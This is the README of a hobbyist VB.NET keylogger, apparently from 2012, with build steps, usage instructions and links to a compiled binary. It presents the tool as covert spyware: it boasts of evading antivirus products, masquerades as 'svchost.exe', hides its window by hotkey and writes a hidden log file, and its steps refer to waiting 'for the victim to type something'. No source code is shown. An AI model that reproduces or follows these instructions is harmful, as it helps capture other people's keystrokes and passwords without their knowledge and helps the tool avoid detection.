This is a simple and basic keylogger I wrote in VB.NET a few months ago.  

It does not raise any flags with popular anti-viruses as of right now, according to this report from VirusTotal: https://www.virustotal.com/file/140f6931863df4cc6eefded4b99f234d71447aba972ff77ca1d258c23dd4fae4/analysis/1333247934/ 

INSTALLATION

Open the project file (vbKeylogger.sln) in Visual Studio or Visual Basic Express and build/compile it.  The resulting file can be found in the /vb-keylogger/bin/Release/ directory.

HOW TO USE

vb-keylogger can be hidden by pressing the key combination CTRL+SHIFT+S (pressing it will toggle the display of the keylogger control panel), and has an inconspicuous process name "svchost.exe"  Upon exit, it will dump its keystroke log to C:\ntklr.sys and make the file hidden.  If you do not have permission to write to that directory, or would like to save the log using a different file name, you can select a different directory and path after checking the "Write to file?" checkbox. 


To use, simply:
1. Check the "Write to file?" checkbox and select a path (or use the default path), then click Open.
2. Click the Start button to start keylogging.
3. Press the key combination CTRL+SHIFT+S (all at once) to conceal the window.  ("stealth" mode)
4. Press some keys, or wait for the victim to type something.
5. Whenever you want, hit CTRL+SHIFT+S again to bring the window back and view the log.  Exit the application or hit End to make it write the log to the log file you specified.  
6. Open the logfile to view keystrokes.  This file is hidden, so make sure you have Show hidden files enabled in Windows Explorer to find it.

Feel free to improve or modify this application!

-capablemonkey



blog post and compiled binary here: http://capablemonkey.blogspot.com/2012/03/simple-keylogger-in-vb-net.html